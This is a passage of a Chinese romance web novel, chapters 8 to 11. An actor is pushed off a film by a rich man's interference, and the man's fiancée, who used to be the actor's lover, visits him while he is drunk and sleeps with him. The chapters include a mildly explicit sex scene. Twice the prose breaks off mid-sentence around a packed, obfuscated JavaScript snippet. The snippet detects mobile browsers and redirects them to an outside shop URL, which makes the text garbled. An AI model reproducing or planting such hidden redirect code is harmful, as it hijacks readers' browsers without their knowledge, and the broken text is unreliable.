因为一路支持他的事业发展而关系要好的粉丝朋友。 秦书窈听完陈屹说的,顿时气也不喘了、心也不虚了,走上前大喇喇挽住凯丽的手,故意套近乎:“你也知道,男人能力越强心眼越小,我们家那位就连我追星都介意,更别提我和陈屹私下里还是老朋友,我不想让他知道我是陈屹粉丝的事,对外只能这样说了。” 凯丽被两人一唱一和演得晕头转向,混迹娱乐圈多年,使她对烂人烂事的敏锐度很高,她虽找不出逻辑漏洞,可就是觉得两人之间的氛围有点微妙。 秦书窈进门时看陈屹的目光,让她总觉得有些不清不白。 秦书窈的演技不输陈大影帝,在他承认他们俩只是影迷和偶像的关系时,她就已经代入好粉丝的角色,和他的言行中虽然透着熟悉,却很有分寸感。 她松开凯丽的手,不见外地在陈屹床边坐下,像和普通老友说话似的,开了他几句玩笑,又去关心他的伤情,等寒暄得差不多就见好就收,主动离开,没有表现出半点留恋。 实际上她也只是想来看看他伤势如何,见到他没大碍也就放心了,没有赖着不走的道理。 走出陈屹病房,她才松了口气,攥了攥手心,发现自己紧张到手上全是汗,就算不发力,身体也在克制不住地微微发颤。 她深呼吸着平复心情,默默感慨还好凯丽没看出什么。 只有她自己知道,她对陈屹的生理反应有多强烈,就连坐在他床边这种再普通不过的行为,都足矣让她发疯。 她强撑着走到护士站,让值班护士帮忙叫吴主任过来,等待的过程中,她还没从头晕腿软的感觉中缓过来,只能倚靠在桌子旁边借点力。 吴主任很快就到,看她直冒虚汗还以为是低血糖,细心地从兜里掏出水果糖递给她。 她懒得拒绝吴主任,接了糖直接揣兜里,才和他询问陈屹的情况。 她不是学医的,吴主任说的很多专业术语她都听不懂,越听越烦,最后直接打断了吴主任。 她说,她不管他们用什么手段,总之得让他恢复如初,他是为了救她才被烧伤的,她不能坐视不理。 吴主任听完直夸她真讲义气。 仗义的秦书窈听到吴主任的话却愣了愣。 朋友…… 义气…… 他们俩的关系,到最后只能靠这些体面的包装来维持。 她扯着嘴角勉强挤出一丝微笑:“人家讲义气在先,我当然也不能落后。今天的事就不要告诉我舅妈了,我不想让家里担心。” 8. 赶尽杀绝? 卡地亚晚宴突发火灾。 这是件本该冲上热搜的重磅新闻,可新闻发出没过几分钟,就被其他顶流明星的花边新闻压了下去,等度过了事件发酵的黄金期,这件事便被所有人淡忘,仿佛从没发生过。 中华区总裁温岚女士选择冷处理,火灾的受害者秦书窈也接受这一处理方案,旁人自然无权置喙,如果按照正常发展,这件事本该在悄无声息中消失在大众眼前。 但周绍明偏偏咽不下这口气,非要讨个说法,毕竟他一直标榜爱妻如命。 周绍明要求公馆负责人找出当夜的监控,找不到监控录像,官方就得给出监控被删的原因。 他的强硬态度把这件事越闹越大,到最近,竟然惊动到他远在京市的母亲。 周母的态度和秦温二人出奇一致,也劝他不要闹下去,毕竟秦书窈没有受伤,周家也没丢脸,多一事不如少一事。 周母并非周绍明的生母,而是他十岁那年,他父亲二婚娶的老婆,虽然是后妈,周母对他视如己出,一直都很好。 听着老妈也这么说,周绍明只好作罢。 他可以放弃追究火灾发生的原因,但他心里的火气总得找个发泄的出口,这时候他才想起陈屹,那个神似裴奕然的家伙…… * 两周后,北京。 因为在沙滩红毯上的禁欲系西装造型,在热搜上挂了三天的陈屹,近几日才算消停下来,刚想在北京的家里休息一段时间,就接到经纪人的通知,要他立刻马上飞来上海,当面处理即将开拍的新剧的问题。 凯丽在电话里没有细说情况,但听她的口气,剧组内部像是出了很大的问题,严重到导演组必须换掉他演的角色。 而他出演的角色,正是本剧的男一号。 临阵换人是常有的事,但一部电影在开拍前临时换男主,属实古今罕见。 陈屹在途中还在怀疑是凯丽故意开他玩笑,直到他见到副导演本人,亲耳听对方和他协商违约方案,他才意识到,自己这回是真被溜了! 整部剧投资上亿,由国内最有名的导演执导,主创团队耕耘了三年,光选角就花了整整一年,这么强势的班底,居然能做出把男主说换人就换人的荒唐事。 更何况,他这个男主还是刚拿下影帝的实力派,不是德不配位昙花一现的花架子。 他本想借着新剧,冲刺下一年的视帝,所以在谈合同的时候,他几乎没怎么提要求就全盘接受。开拍前的这半年,他为了让自己的形体更符合男主人设,特意减重降脂,使自己如今穿西装都显得有些纤瘦,并不如半年前身材健硕时好看……他做了这么多,全都是为塑造好这个角色,没想到在这种情况下,还能被换角。 在他和凯丽的共同追问之下,副导演才支支吾吾说出原因。原来是某位重量级的投资方临时变卦,说不换掉男主,自己要撤资不说,还要说服其他资方一起退出项目,这才逼得导演做出换人的决定。 那位非要退出不可的投资人,主业是在北方做地产生意,和周家往来密切。 话已至此,就算陈屹再傻也该知道这是怎么一回事。 副导演在临走之前,趁着和陈屹独处的机会,偷偷转告他,对方的目的可能不止是让他演不了这部剧,最终目的可能是逼他息影退圈,彻底查无此人,如果有办法,他最好还是和那位要搞他的幕后大佬直接沟通沟通,或许这件事还有回转的余地。 陈屹听完这番恐吓性的话语,没太惊讶,而是淡淡笑着点了点头,把副导演送上来接他的车。 副导演刚走,凯丽也把车从地库里开了出来,看到路边只剩陈屹一人,不用问也知道,那人肯定不等她出来就先走了,但事已至此,再怎么为难一个负责传话的副导演也于事无补。 凯丽很平静地叫陈屹上车,要把他送回酒店。 斜靠在窗边吹着夜风的陈屹却拒绝回去:“时间还早,我还不怎么困。你把我放在江边吧,我想一个人去吹吹风。” 凯丽看他这副心里难过又不肯吭声的样子,嘴唇嚅嗫几下,犹豫许久才答应下来。 她担心他在这种心情不好的时候突然做傻事,虽然带他去了江边,但没舍得把他一个人留在这里,而是买了几瓶酒,陪他一块坐下。 夜风微凉却不冷冽,拂过脸颊的温度刚刚好,如果没有毁约换人的破事,看着江景喝喝啤酒,倒也算得上惬意和享受。 陈屹酒量不好,喝啤酒也能醉,为了陪凯丽姐喝酒,就开了瓶汽水,凯丽喝一口啤酒,他就灌一口汽水。 两人坐了很久,谁都没先说话,直到凯丽的啤酒喝光了,准备到车上再拿一瓶,陈屹才突然开口:“丽姐,你不是说有你罩着我,肯定没事吗?” 他不是在抱怨,听起来更像是在开玩笑。 凯丽知道他不是故意质问,但她听了这话,心里还是很难过:“这次是个意外。” “没罩住就没罩住吧,这也不算什么大事。对了,你之前推了的那个古装剧,还能联系到吗?我想演。” “那就是个小网剧,虽然剧本不错,导演也挺有情怀的,可班底太差了,全是新人。” “谁不是从新人走过来的?我接了。”他用自己的汽水碰了碰她的啤酒瓶,故意油腻地邪魅一笑:“相信哥的实力,我能带火他们。” “死一边去吧。”凯丽骂完就笑了。 陈屹也跟着笑起来,笑得很放肆,用笑意掩饰着眼底的苦涩。 他记得同样的话,在五年前,他曾听从一个女孩嘴里听到过。 她也是这么油腻又霸道,让他别灰心、别放弃,资本算个屁,只要他好好努力,以他的实力肯定会大火,火出亚洲,火遍地球。 他信了,信了五年。 从一个四处跑组都接不到通告的小演员,变成了金梅奖影帝。 信到最后却发现,那个女孩就是资本本人。 她用着一个假身份,把他当做自己白月光的替身,对他说着违心的甜言蜜语。 只有他是傻乎乎的,全都信了。 他把手里的汽水喝完,走到车上取了一瓶凯丽买的红酒,打开木塞,仰头就往嘴里灌。 醒目的喉结快速滚动,但吞咽的速度还是赶不上酒水倒出的速度,没来得及喝下去的红酒顺着他的嘴角淌进他衣领里,在洁白的衬衣上留下道道猩红。 等凯丽反应过来,想冲来抢走他的酒瓶,一瓶红酒已被他喝得不剩许多。 他喝完一瓶还嫌不够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816534|190913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竟然摇摇晃晃地还要去开第二瓶。 凯丽知道他的酒量一般,喝一瓶大概就醉了,再喝下去,恐怕是会不舒服,但她转念又一想,今天和平时不一样,他心里苦闷,能大醉一场发泄发泄也是好的。 她叹口气,索性由着他去了,甚至担心他喝醉了打不开瓶盖,还细心地帮他开好瓶再递给他。 就这样,陈屹一连干了三瓶才作罢,但人也醉得不省人事,连凯丽是谁都认不出来,非说她姓李名逵,倒在副驾座上一个劲喊她黑旋风。 凯丽叫的代驾还得有半小时才能到,在这半小时里,她只能硬忍着、勉强扮演天杀星。 演李逵就算了,他还逼着她喊哥哥,说要和她拜把子当兄弟。年近四十、比陈屹大了小十岁的凯丽,终于忍不住了,给这个借酒撒泼的家伙呼了两巴掌,他才消停下来。 陈屹是不闹了。 双手紧紧抱着自己靠在车门上,看起来像受了委屈的小学生,如果细心去听,甚至能听到丝丝哽咽的抽泣声。 她看他实在可怜,就拍了拍他肩膀,让他转过身来,她好给他盖披件外套。 他一转身,双眼紧闭着,湿漉漉的眼角还泛着红,嘴里还喃喃叫着什么人的名字。 秦瑶,我想见她。 秦瑶,你为什么要骗我。 秦瑶,你不是说人靠努力就能成功,为什么我的努力一点用也没有。 秦瑶…… 等凯丽听清楚他喊的名字是谁,先是一愣,细想过后,不禁感觉后背一阵发凉。 秦瑶,秦书窈。 这俩不能是同一个人吧? * 凯丽把陈屹安顿下来,才腾出手给一个人打去电话。 她打的前两通,无人接听,等到打出第三通电话,总算有人接了,但接电话的是个男人。 电话里传来周绍明的声音:“秦书窈不在,您是谁,等她回来我帮您转告。” 凯丽听到这个男人的声音,由不住心头一紧,吞了吞口水道:“没什么,打错了。” 她不准备给秦书窈打第四个电话,可对方却给她回了过来。 不知是不是夜深的缘故,秦书窈在电话里的声音听起来很软:“你是谁啊,刚刚找我干嘛?” “我是陈屹的经纪人凯丽。” “哦,凯丽姐,是你呀。”秦书窈听起来很惊喜,“是有什么事要我帮忙吗?” 她本来找她是有事的,可一想到,她现在正和周绍明在一起,她就什么话也不想说了:“没什么,就是想和你聊聊天,见你在忙就算了,你先去陪周先生吧。” 电话里传来秦书窈清脆的笑声:“咱俩都没互留过联系方式,你能打过来,肯定是特意找别人要过我的号码,这么麻烦才联系到我,怎么可能只找我聊聊天?” 秦书窈很聪明,但她有点聪明过头了,一语戳破一切,让凯丽瞬间有些难堪:“你方便说话吗?” “方便。” “陈屹喝醉了,他想见你。” 秦书窈愣了愣,过了半晌才疑惑地问:“现在?” “不方便就算了。” “方便。”她不假思索地说。 只要是他,任何时候都方便。 9. 质问 周绍明晚上通常不会在秦书窈家里留宿。 他和她保证过,在婚礼之前他绝不会碰她一下,更不会耍任何手段逼迫她屈从,今天晚上他只是来给她送自己从法国带回来的古董首饰,顺便和她闲聊两句增进感情。 接完凯丽的电话,秦书窈就和周绍明说自己有朋友来上海玩,现在正醉倒在外面,非得她去处理一趟,周绍明很有分寸感地没问什么,只叮嘱她半夜出门要当心,然后和她在小区门口分道扬镳。 秦书窈开车一路狂飙,不到二十分钟就赶到酒店,她一路心急得要命,但等真到酒店门口她反倒怯懦起来,迟迟不敢进门。 凯丽大半夜叫她过来,定然是有别的事要说,否则她身为陈屹的经纪人,怎么会把自家艺人送到觊觎他的富婆手上,平白给两人创造见面机会。 可她到底想和她说什么…… 秦书窈心里一点底也没有。 凯丽提前和前台打过招呼,秦书窈刚进大厅,就有服务员来带路,将她引到同楼层的会议室。 凯丽正在会议室里等着她。 “坐。”凯丽很礼貌地帮她拉开椅子,等她先坐好,才在她对面落座。如此客气又正式,反倒让她感到无所适从。 秦书窈尴尬地笑了笑:“你不是说他喝醉了想见我,那……他呢?” “不急着见他,我和你有别的事要聊。” 做上位者久了,听多了恭维的话,自然会对别人的语气十分敏感,凯丽的口气显然不像是朋友之间该说的,倒像在教训自己手下的艺人。 秦书窈的面部表情有些僵硬,勉强维持着微笑:“您说。” “陈屹有一部这月底就要开拍的大男主剧,导演组临时通知我们要把他换了,这件事你知道吗?” 秦书窈嘴角不自然地抽动两下,锋利的美眸中也闪过一丝罕见的迷茫。 这种事,她应该知道吗? 她茫然摇摇头:“不知道。” 凯丽没继续为难她,而是开门见山直接说:“是某位投资方强烈要求换掉他的,这位老板和周绍明先生有些生意往来,我不知道,会不会是……” “你觉得是周绍明在背后捣鬼?”秦书窈愈发不解,“可他这么做的理由是什么呢?陈屹救了过我,他不应该替我好好报答他吗——就像他那天在记者面前说的那样。” “这也是我想不明白的地方,所以才叫你过来聊一聊。除了这个,还有一件事我也想不明白,陈屹喝醉了之后,一直喊着一个人的名字,她叫秦瑶,你认识这个人吗?” 秦书窈心头一紧,纵使屏住呼吸,努力稳住情绪,一抬头对上凯丽揣着明白装糊涂的眼神,更加心慌不已:“我不认识,或许……是他初恋吧?” “这么巧,都姓秦?” 被凯丽一次次贴脸开大,就算秦书窈做贼心虚也有些生气:“姓秦的人多了去了,难道我必须每个都认识吗?” 凯丽对她的回复似乎很满意,总算露出一点微笑:“不认识就好,你们俩的名字听起来太像了,乍一听,我还以为他在叫你。秦总,其实就算你没有周总这个未婚夫,我也不看好你和他谈恋爱,一来是他现在正处在事业上升期,不适合谈恋爱分心,二来做他这一行的,本来就整天和其他女孩厮混在一起,出轨偷腥都是常有的事,像你这么优秀的女性,应该找个和你事业生活都匹配的人才对,你们能一起携手管理生意、经营生活。” “我知道。” “那就好。” 时间仿佛凝固在这一刻,凯丽话音落下,屋里便再没人说话,静得连某人心虚的心跳声都能听得一清二楚。 凯丽用眼神反复确定了好几遍,肯定她没话要说,才开口:“秦总,我没别的事情要聊了,你看这天色不早,你要不就早点回去休息吧?” 凯丽这番逐客的话让她听着很不舒服,她自出生起,所遇到的所有敢对她说重话的人,加在一起一只手就能数过来。 卑躬屈膝这四个字,从来没在她的人生字典里出现过。 可眼下,她却为了去见那个人,再忍耐一次。 “来都来了……我想去看看他。”她声音很低,甚至有几分怯懦。 凯丽愣了一下,但看在对方因为自己的一通电话、从大老远的地方跑来一趟的份上,用默许的方式答应了。 凯丽把她送到陈屹房门口,刷开房门,像门神似的站在门口,大有准备等她和陈屹说完话、再一起离开的架势。 秦书窈从进门起就一直忍耐着凯丽的语气,再到刚刚,她那个得到自己想要的答案就准备逐客的态度,无一不踩在她的雷点上。 她能忍下一切,全都为了看他一眼,可照凯丽现在的样子,像是连这最后一点心愿也不想让她得到满足。 亏她还喊她一声秦总。 既然知道她是秦书窈,怎么还敢用这种态度对她? 她转身走回门口,扶着门把手和凯丽说:“你说的事情我都记下了,我会回去和周绍明问清楚,绝不会让他再刁难你们,但我和陈屹也有几句话要说,你就别在这里等着他了,先回去吧。” “我就不送了。”不等凯丽回过神,她就在凯丽震惊的目光下直接把房门关上,把人关到房间之外。 世界总算彻底安静了。 但安静也不总是好的,太过安静会使人的感官系统变得更加敏锐。 秦书窈一想到这房间内只有她和陈屹两个人,就感觉连空气都是腥甜的,四处弥漫着诱惑她犯罪的荷尔蒙。 她走进卧室,一眼便看到倒在床上的陈屹。 他整个人蜷缩埋在身上穿着的廓形夹克里,虽然看不清面容,但能看得清紧翘的臀部将裤子顶出的性感曲线,除此之外,裤脚漏出的一截脚踝也显得格外纤细。如果不是亲眼所见,任何人都很难相信,如此玲珑有致的身材,竟然出现在一个男人身上。 秦书窈稳了稳心 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苦恼了一阵,她索性放弃把他拖下床的想法,将他留在床上,只能凭直觉先剥下他的外套,然后去解他的衬衫,最后再去脱他的鞋和裤子,再给他换上睡袍,让他能舒舒服服睡一觉。 可她还没完全解开他的衬衣扣子,他就突然醒了,像搂抱枕一样囫囵把她圈进怀里。 她被他拥入怀中,脸颊瞬间红得像煮熟的虾子,滚热发烫。 她推了两把没推开,反倒被他抱得更紧了,她才开始怀疑这人分明早就醒了,只是一直在装睡。 “陈屹,你知道我是谁吗你就抱着我,我是你经纪人,凯丽!” 他没睁眼,用着慵懒低沉的嗓音说:“我知道,所以让我抱会儿怎么了?” “你说什么?”她的脑袋嗡一下变得空白,就连说话都迟缓几分,“我怎么不知道咱俩的关系已经亲密到能随便搂搂抱抱的地步?” “今天过后不就知道了吗?” 她用着震惊到恶心的目光望向他,不料,对上了一双满含笑意的深邃眼睛。 他分明在笑,笑得很清醒,甚至透着几分清醒的坏。 “你骗我……你个吊呆逼敢骗老娘?”秦书窈忍不住抓起身旁的枕头砸向他胸口,把他压在身下狠狠捶打一通,像是要把从凯丽身上受到的窝囊气全部发泄在他身上,“你既然早醒了,怎么都不告诉我一声?” 他一边用手挡着,一边朗声笑道:“我要是说我醒了,你还会帮我脱衣服吗?” 她停下手里的动作,恶狠狠瞥他一眼:“当然不会。” 他眨眨眼,修长的睫毛衬得双眼透着楚楚可怜。 她明知道他是在故意卖惨,但还是着了他的道。 他说他虽然醒了,但因为喝得太多,身体软得连床都爬不起来,更别提换衣服了,所以他才只能装睡,昧着良心享受这天底下独一份的、来自秦总的亲自伺候。 10. 凭什么信你? 如果陈屹铁了心要骗秦书窈,她连一丁点的办法都没有。 因为当她看着这张熟悉的俊脸的时候,心防就不复存在了。 既然他想骗,那就尽情来骗吧,只要他能做个铁了心一骗到底的好骗子,就算把她骗到倾家荡产,她也无怨无悔。 他说他浑身没劲,连坐起来的力气也没有,她就只好由着他倒在床上,而她,就开始学着家里保姆的样子,亲自替他宽衣解带。 “我是看在你喝醉的份上才来看你的。”她的嘴巴还是很硬,但身体很诚实,手上替他解皮带的动作一刻不停,“换成平时,如果让我这么照顾你,想都别想。” 他看她解了半天都没研究明白他皮带搭扣该怎么打开,便挺了挺胯顶起后腰,单手解开皮带的同时,一把将皮带抽了出来。 光是挺腰的动作似乎就把他累得够呛,收了力气倒回床上之后,连连粗喘。 他边喘边深情脉脉看着她:“这又不是第一次,以前我喝醉了,你不也这么照顾我?” 提起过去,她心里又羞又恼。 顶着假身份追他的那段时间,简直是她这辈子过的最没尊严的日子,要不是她爱惨了他这张脸,要不是她甘心……她,秦书窈,怎么可能陪一个毛头小子挤地铁、吃路边摊、住出租房。 “占过我的便宜,你很得意吗?”她把他的裤子一把扯下来,动作很是粗鲁。 他有点羞涩,下意识拽来被子盖在身上:“你想多了,我就是陈述事实而已。” 她把他脱下来的衣服依次叠好:“陈述个屁!也不知道是谁之前说过,‘我认识的人叫秦瑶,不是你’。按照你的这种说法,那些丢人的事都是秦瑶做的,和我没关系。” “怎么能叫丢人呢,那叫体贴。” 体贴…… 她听见这俩字就觉得心烦。 估计是因为出师不利,一出门就被凯丽冷言质问了半天,使她今晚的心情极不美丽,说话也像吃了炸药,一点就着。 她把衣服叠好,整整齐齐码在床尾凳上:“您要体贴就找别人去吧,我既不温柔也不体贴。” 他“哦”了一声,淡淡道:“今天好像也不是我叫你来的,是你自愿的。” 他一句话戳破两人间的窗户纸,让她瞬间不知道自己的面子该往哪儿放,深吸口气强压怒火:“对,是我自愿的,我主动犯贱,我就不应该关心你,听到你被周绍明做局也应该不闻不问!” 听到那个人的名字,陈屹的表情总算有些了变化,他收敛起笑意,正色道:“你从哪儿听说的?” “你亲爱的凯丽姐刚刚和我说的。” 他皱着眉低声道:“她怎么连这些都和你说……” 她双手叉腰微微后仰靠在电视柜上,用最习惯的上位者姿态俯视着他:“你问我,我问谁,这不应该是我问你的问题吗?她不仅和我说了这些,还特意把我叫到会议室里拷问我,好像我是她手下的艺人,她是我老板一样。” “可能因为她忙了一整天,心情也不大好,所以没精力做这些表面文章,说话口气才听起来没那么好,我替她向你道歉,对不起。” 他这番歉道得倒是很诚恳,甚至想从床上爬起来当面给她认错,最后是她看下不去,才推着他的肩膀让他躺回床上。 “错的人是她不是你,你是她的什么人,凭什么让你替她道歉,难道你们俩的关系想你刚刚说的那样,好到能在床上随便搂搂抱抱?” 陈屹本是想故意逗逗她,没想到她还会把这种不着调的笑话当真,他急得再一次从床上爬起来,一只手撑着身体,空着的手下意识伸去扯了扯她的外套:“我没有,你和我之间难道连这一点信任都没有?” 她冷漠地拽开他的手:“没有,一点信任也没有。我们既不是夫妻,也不是男女朋友,凭什么要我无条件信任你。” “凭我的人品,凭我这五年中再没爱上任何人,没和任何人交往过,就连一次性生活也没有。” 她静静看着他布满血丝的双眼,和说话时微微发颤的身体。 他很激动,看样子说的不是假话。 可他为什么要告诉她这些呢? 她其实根本不在乎他有没有和别人交往过,反正她也没有那么洁身自好。 “可是我有。”她很平静地看着他,眼中透着一丝心疼,“除了周绍明之外,在和你分手后我还谈过两任男朋友。” 陈屹颤抖的身体忽然僵住,直勾勾看着她的眼睛也低垂了下去。 他不想让她看见自己的落寞。 他明明不爱她,为什么听见她和自己分手后,还能照样投入到新的感情中,会这样难过呢? 胸口闷疼使他喘不上气,他刚想呼吸,却感觉有什么湿润划过脸颊。 抬手一摸,竟然是泪。 她借着床头的壁灯,也看到他脸上的泪痕。 眼泪是男人最好的武器,尤其是一个俊美又坚毅的男人。 外人只能看到他的风流倜傥,只有极少数走到他生活最深入的人,才能看到他的伤痛。 她突然间就不知道该拿他怎么办才好了。 她坐在床边,用双手握住那只刚刚被自己生拉硬拽开的手:“好了,逗你玩的,我和他们没什么,也没上过床。” 他的手被她紧紧握着,连偷偷擦泪的机会都没有,他索性不再遮掩,用湿漉漉的目光对上她的双眼:“没上过床,但亲过嘴,你想说的其实这个意思,是吗?” 他说的不错,可这样说出来,怎么听都很刺耳,让她忍不住反驳:“你怎么这么小心眼,你拍戏不也得和其他女演员接吻,我说你什么了吗?” “我没有,我从来不接吻戏。” 看着她难以置信的眼神,他一时间怀疑她到底有没有看过自己演的片子。 “我在片场做那种事,根本没办法全身心投入,所以后来完全不接带吻戏的剧本,实在避不开的话就只能用借位。” 她沉默了很久很久,想说话,却发现喉咙发紧,连声音都发不出来。 她努力让自己不要因为他说的话,就产生什么不切实际的幻想,以为他这么做都是因为自己。 她抿了抿干燥的嘴唇,试图挽回自己的形象:“我后面交的两任男朋友都不如你,没你长得帅,也没你温柔……算了,不说了他们。但至少我和周绍明是清清白白的,从认识到现在什么都没发生过,周绍明说他尊重我的感受,不到结婚的时候,绝对不会在我不情愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816536|190913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情况下,碰我一根指头。” 陈屹听完她说的,只不屑地冷笑几声,等笑完才很自然地把脸埋进她肩窝,把眼泪都蹭到她身上。 她嫌弃地把他推开:“你这是什么意思?” “笑你被他骗了,哪有一个男人喜欢一个女人,会尊重她尊重到不结婚就不碰她,除非你在他亲近你的时候偷袭过他,给他留下过不小的心理阴影。” 别人说这种话,她或许还会思考一下,这话从陈屹口中说出来,她只会觉得他是吃醋嫉妒:“我的确拒绝过他,但没那么不体面,只是在他亲我的时候躲开了。” “这算哪门子拒绝,在某些人眼里,没准还算一种调情。” 她皱紧眉头看向他:“你好像很懂啊?” “我也是男人,当然懂男人的想法。如果一个男人真的爱你,他是无法控制自己对你的生理欲望的,除非你对他造成过足够大的伤害,或者……他性无能。” 她忍不住笑出声:“所以你说了这么半天,其实就是想拐弯抹角骂周绍明阳.痿啊。” 他却没有跟着她一起笑,反倒一脸严肃:“我是想告诉你,周绍明或许并不爱你,他和你展示的一切美好,都是他装出来的。” “是的,我知道。” 看着她云淡风轻的样子,吃惊的人反而成了陈屹:“你知道还要和他结婚?” “我早和你说过,不要拿正常的男女关系看待我们,我和他只是另一种形式的合作伙伴,其实他不爱我才是最好的,因为我也并不爱他。” 秦书窈的话,和陈屹的婚姻观完全相悖。即便他也听说过无数对商业联姻,但还是会下意识把他们代入到正常夫妻的模式里,认为他们只是没那么相爱的恋人,可听她的话,她和周绍明像是两个完全不爱的人,连好朋友也算不上。 陈屹的父母极其相爱,所以也在他心里种下一颗憧憬爱情的种子,他从没想过,一个人要和一个不爱的人过一辈子会是怎样的感受。 那一定很痛苦。 每一天,每一刻,只要她对爱情的渴望复活万分之一,她的真心都会无比痛苦,像在被架在火上烤。 他看着一脸平静坐在他床边的她,昏黄的灯光打在她侧脸上,柔和了她生人莫近的冷漠。 如果她肯笑,她那双带着卧蚕的桃花眼会比平时更漂亮,更温柔,更勾人心魄。 他竟然觉得她过得也并不快乐,甚至想把她搂进怀里认真呵护。 但这种念头也只在他心中驻留片刻,就消失不见了。 心里只留下对自己的讥嘲。 他居然心疼她? 他一没能力给她遮风挡雨,二没办法给她生意上的资源。 他哪有资格心疼她。 她不是他肚子里的蛔虫,没办法知道他每时每刻在想什么,等她说完后很久没听到他的答复,她才意识到他这半天一直在注视着自己走神。 是她脸上有什么东西,还是她的妆花了,他老盯着她看干嘛? 她刚想开口问他在想什么,他就突然凑了过来,霸道地封住她的唇。 她下意识想挣扎,右手刚刚抬起,好闻的木质香便瞬间笼罩她四周,让她头脑昏胀一片空白,没了拒绝的力气。 11. 给我一个答案 她本来是想挣扎的。 但他精准预判了她的反抗,提前按住她的后颈,让她没办法后退。 再等她又呆愣了一会儿,他便猛然翻身将她压在身下,她这时候才意识到他刚刚说的,自己醉得没有力气,完全就是胡说八道。 他哪里是没有力气,他只是没力气脱衣服,上床的力气有的是! 他撬开她紧咬的齿关,疯狂掠夺她口中的空气,他带着酒精味的气息在她口中蔓延。 起初有一些不适,可渐渐适应了,反倒觉得有点上头,和自己喝了酒没什么区别,一样的上头,一样的头脑发昏。 他等对方被自己吻得晕头转向,才把手伸进她上衣。 清心如他,也忍不住吞了吞口水。 她想拒绝,可睁眼看到某人的八块腹肌便也犹豫了。 在她晃神的瞬间,他趁机攻城略地。 “陈屹你是不是还没……” “房间里没有,但你可以打电话给前台,让他们送来两盒。” “少往自己脸上贴金,你用得着两盒?……算了,太麻烦。” 陈屹温柔吻了吻她微张的红唇:“我会注意的。” * 秦书窈走后,陈屹一个人在浴缸里待了很久。 他一遍遍捧起冰冷的泡澡水洗脸,让自己脑袋清醒一些,别再头脑发热做什么傻事。 他简直不敢回忆刚刚发生过什么。 他,一个处在娱乐圈舆论中心的艺人,居然睡了有夫之妇。 他足足在冷水中泡了半个小时,冷到身体走出浴缸,只觉得空气都是温暖的,他才裹着浴袍走回卧室。 刚好手机铃声响了。 即便此刻的他已经完全清醒,一听到电话里的女人声音,心头还是有些别样滋味。 “陈屹,我到家了。” 他极力克制情绪,让自己的言行不要显得太过殷勤:“那就好,早点休息。” “先别挂,我问你一件事。” 他心里咯噔一下。 她不是……要他负责吧? 她说话的口气却比他想象中的冷漠许多:“周绍明的事你打算怎么解决。” 周绍明是她未婚夫,而他,在今夜过后,就从她的前任变成了她的情夫。 他一个小三哪有资格评价正宫? 就算人家真要搞他,他也只能默默承受了。 “我一路上都在思考这件事,既然你不说话,我就先说我的想法了。第一种是我们就当今天的事压根没发生过,我回去找他问问临时换人到底是怎么一回事,没准把话说开,他也不会再动你。第二种,我和他解除婚约,和你在一起,他再敢找人动你,也得掂量掂量我的存在。” 他听完,心脏怦怦直跳,紧张的感觉和上艺考考场时的一模一样。 或许比艺考更紧张。 因为这一场看似平常的对话,可能决定三个人的人生。 他深深叹口气:“你给我一点时间,让我好好想想。” “不行,就现在回答我,如果你不做选择,我会默认你选了第一种,就当今天晚上什么都没发生过。” 他听着她的声音,越听越心烦,直到脑袋里满是嗡嗡的杂乱声,才猛然狠下心:“我选后者。” 他认命了。 就算她不是他最钟情的那一款,但他也算勾引她出轨的主犯,理应对她负责。除此之外,两人的夫妻生活还算和谐,她的身材样貌也都配得上他,娶这样一位妻子,除了要包容她的霸道和任性,好像也没什么不好的。 毕竟,这世上能寻到真爱的人又有几个,绝大多数不都是委曲求全? “我或许没办法给你工作上的助力,但我会努力做到全心全意爱你。” 沉默。 死一样的沉默。 过了许久,电话里才又传来她的声音:“好了,早点睡吧,晚安。” * 清冷的月光透过巨幅落地窗照进屋内,洒落向四处。 秦书窈端着红酒走向窗边,身上所穿的真丝睡袍随着她走路的晃动,轻轻摇曳着温润光泽。 她看似在醒酒,实际上是在等自己的头脑彻底清醒下来,好去重新思考她和陈屹的关系。 等回到家里,她才算彻底清醒了,尤其在反复回味和陈屹打的那一通电话之后,心里更是后悔无比。 脑袋一热和他做了那种事也就算了,居然还把选择的权利交给他。 她原本觉得他会选择前者,和她继续保持这种秘不外宣的关系,维持现有的一切,而她呢,就可以在受到拒绝之后顺坡下驴,装出一副深受情伤的样子,把罪过都推给他——是他不想和我在一起的,是他辜负了我的真情,我是那么爱他,就算他要我和他维持这种不清不白的地下关系,我也心甘情愿…… 但他偏偏选择了另一条路! 他要和她在一起! 事情在陈屹做出决定的那一刻,似乎开始朝着不受控的方向发展,这让她感觉很不舒服。 她揉了揉太阳穴,头疼的症状也没得到多少缓解,对付她的头疼,有时候按摩还没有酒精来得管用,她算着醒酒的时间差不多快到了,便低下头嗅了嗅杯里的红酒,果香味果然要比刚倒出来时浓郁一些。 带有甜美果香味的红酒是她最喜欢的类型。 她选红酒的品味和挑男人一样,男人里,她也更偏爱英俊又温柔的,在不失男性刚毅的同时,还带有女性的包容隐忍。 但这样的男人,少之又少。 一旦错过,难免会感到可惜。 她敏锐地打断自己的思绪,没让自己再胡思乱想下去,端起酒杯抿了一小口红酒。 等辛辣散去,丝丝甘甜在舌边扩散,果然让她心情平静不少。 她觉得陈屹有一句话说得很对。 